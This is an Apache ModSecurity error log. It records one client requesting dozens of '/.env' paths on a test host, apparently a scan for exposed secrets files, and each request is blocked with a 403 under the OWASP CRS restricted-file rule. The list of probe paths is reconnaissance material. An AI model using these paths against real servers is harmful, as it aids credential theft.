[Mon Jul 28 20:46:23.661426 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/User_info/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqKAAAAAI&quot;]
[Mon Jul 28 20:46:23.661584 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/User_info/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqKAAAAAI&quot;]
[Mon Jul 28 20:46:23.681749 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqKQAAAAI&quot;]
[Mon Jul 28 20:46:23.681942 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqKQAAAAI&quot;]
[Mon Jul 28 20:46:23.682096 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqKQAAAAI&quot;]
[Mon Jul 28 20:46:23.766885 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqLQAAAAI&quot;]
[Mon Jul 28 20:46:23.767090 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqLQAAAAI&quot;]
[Mon Jul 28 20:46:23.767259 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqLQAAAAI&quot;]
[Mon Jul 28 20:46:23.787298 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /var/backup/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/backup/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqLgAAAAI&quot;]
[Mon Jul 28 20:46:23.787506 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/backup/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqLgAAAAI&quot;]
[Mon Jul 28 20:46:23.787669 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/backup/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqLgAAAAI&quot;]
[Mon Jul 28 20:46:23.807808 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqLwAAAAI&quot;]
[Mon Jul 28 20:46:23.807997 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqLwAAAAI&quot;]
[Mon Jul 28 20:46:23.808156 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqLwAAAAI&quot;]
[Mon Jul 28 20:46:23.829062 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/github.com/gobuffalo/envy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqMAAAAAI&quot;]
[Mon Jul 28 20:46:23.829254 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqMAAAAAI&quot;]
[Mon Jul 28 20:46:23.829412 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqMAAAAAI&quot;]
[Mon Jul 28 20:46:23.849542 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/github.com/subosito/gotenv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqMQAAAAI&quot;]
[Mon Jul 28 20:46:23.849731 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqMQAAAAI&quot;]
[Mon Jul 28 20:46:23.849981 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqMQAAAAI&quot;]
[Mon Jul 28 20:46:23.932322 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /videos/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/videos/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqNAAAAAI&quot;]
[Mon Jul 28 20:46:23.932539 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/videos/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqNAAAAAI&quot;]
[Mon Jul 28 20:46:23.932791 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/videos/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqNAAAAAI&quot;]
[Mon Jul 28 20:46:23.974309 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vm-docker-compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vm-docker-compose/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqNgAAAAI&quot;]
[Mon Jul 28 20:46:23.974554 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vm-docker-compose/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqNgAAAAI&quot;]
[Mon Jul 28 20:46:23.974730 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vm-docker-compose/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqNgAAAAI&quot;]
[Mon Jul 28 20:46:23.995120 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vod_installer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vod_installer/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqNwAAAAI&quot;]
[Mon Jul 28 20:46:23.995338 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vod_installer/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqNwAAAAI&quot;]
[Mon Jul 28 20:46:23.995513 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vod_installer/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqNwAAAAI&quot;]
[Mon Jul 28 20:46:24.015633 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue-end/vue-til/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue-end/vue-til/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqOAAAAAI&quot;]
[Mon Jul 28 20:46:24.015866 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue-end/vue-til/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqOAAAAAI&quot;]
[Mon Jul 28 20:46:24.016054 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue-end/vue-til/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqOAAAAAI&quot;]
[Mon Jul 28 20:46:24.036303 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqOQAAAAI&quot;]
